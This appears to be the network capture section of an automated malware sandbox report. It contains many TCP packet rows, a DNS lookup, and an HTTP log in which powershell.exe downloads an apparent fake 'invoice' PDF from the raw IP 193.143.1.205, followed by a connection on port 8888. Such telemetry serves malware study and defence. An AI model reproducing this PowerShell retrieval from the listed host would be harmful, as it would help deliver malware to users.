Jan 10, 2025 19:26:27.297192097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.299552917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.300681114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.300724983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.300755024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.300771952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.300787926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.300806999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.300817966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.300848007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.300890923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.300909996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.300934076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.300950050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.300962925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.300978899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.300997019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.301006079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.301048994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.301080942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.301096916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.301110983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.301126957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.301135063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.301143885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.301157951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.301167011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.301175117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.301193953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.301202059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.301240921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.304455996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.310156107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.333940983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.333956957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.333971977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.333992958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334014893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.334017038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334048033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.334048033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.334060907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334076881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334100962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334121943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334122896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.334125996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334131956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334151983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334168911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.334211111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.334271908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334296942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334310055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.334312916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334328890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334346056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.334355116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.334376097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.343512058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.343528032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.343544006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.343559980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.343578100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.343588114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.343594074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.343624115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.343712091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.348740101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.348753929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.348778009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.348795891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.348813057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.348819971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.348829985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.348846912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.348849058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.348867893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.348885059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.348922968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.382179976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382206917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382222891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382230997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382256031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382272005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382287979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382287025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.382319927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.382448912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382477045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382491112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382493973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.382518053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382525921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.382533073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382559061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382570028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.382580042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382600069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382615089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.382616043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382689953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382704020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.382710934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.382765055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.382925987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383121967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383147001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383167982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383174896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383191109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383214951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383224010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383229971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383240938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383246899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383250952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383265972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383276939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383292913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383296967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383322954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383330107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383337021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383341074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383356094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383373022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383384943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383408070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383411884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383434057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383450985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383471012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383479118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383495092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383510113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383513927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383528948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383543968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383550882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383560896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383575916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383588076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383590937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383608103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383616924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383632898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383646011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383657932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383673906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383690119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383709908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383711100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383717060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383722067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383723021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383743048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383749962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383763075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383778095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383800983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383800983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383821011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383826971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383842945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383858919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383866072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383899927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383902073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383915901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383945942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383953094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.383963108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383979082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.383995056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.384006977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.384012938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.384030104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.384038925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.384047031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.384063005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.384063959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.384083033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.384098053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.384108067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.384114981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.384131908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.384139061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.384150982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.384171963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.387537003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387571096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387579918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.387597084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387613058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387629032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387634039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.387645006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387670040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387684107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387695074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.387698889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387708902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.387715101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387731075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387742996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.387757063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387773991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387782097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.387789011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387811899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.387814999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387836933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387852907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387859106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.387870073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387887001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387892008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.387901068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387917995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387929916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.387933969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387950897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.387957096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.388001919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.388536930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.421191931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421220064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421240091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421260118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421267033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421272993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421278000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.421310902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.421333075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.421521902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421538115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421555996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421569109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421578884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.421683073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421696901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421703100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.421711922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421729088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421745062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421747923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.421778917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.421818972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.421855927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.437252045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.437268972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.437283039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.437304974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.437316895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.437329054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.437341928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.437345982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.437362909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.437376022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.437390089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.437418938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.468909025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.468940973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.468961954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.468988895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469012976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469027996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.469028950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469044924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469067097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469278097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.469278097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.469278097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.469372988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469388962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469404936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469429970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.469516993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469532013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469547987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469554901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.469564915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469589949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.469645977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469660997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469676971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469682932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.469696045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469712973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.469718933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.469849110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.540477991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.985228062 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:28.663731098 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:28.663808107 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:28.682893038 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:28.687710047 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:29.482779980 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:29.532090902 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:31.419482946 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:26:40.901063919 CET	53106	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:26:40.901063919 CET	192.168.2.5	1.1.1.1	0x7346	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:26:40.369561911 CET	1.1.1.1	192.168.2.5	0x74bf	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:26:40.369561911 CET	1.1.1.1	192.168.2.5	0x74bf	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:26:40.908411980 CET	1.1.1.1	192.168.2.5	0x7346	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	2876	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:26:25.914048910 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:26:26.706660032 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:26:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 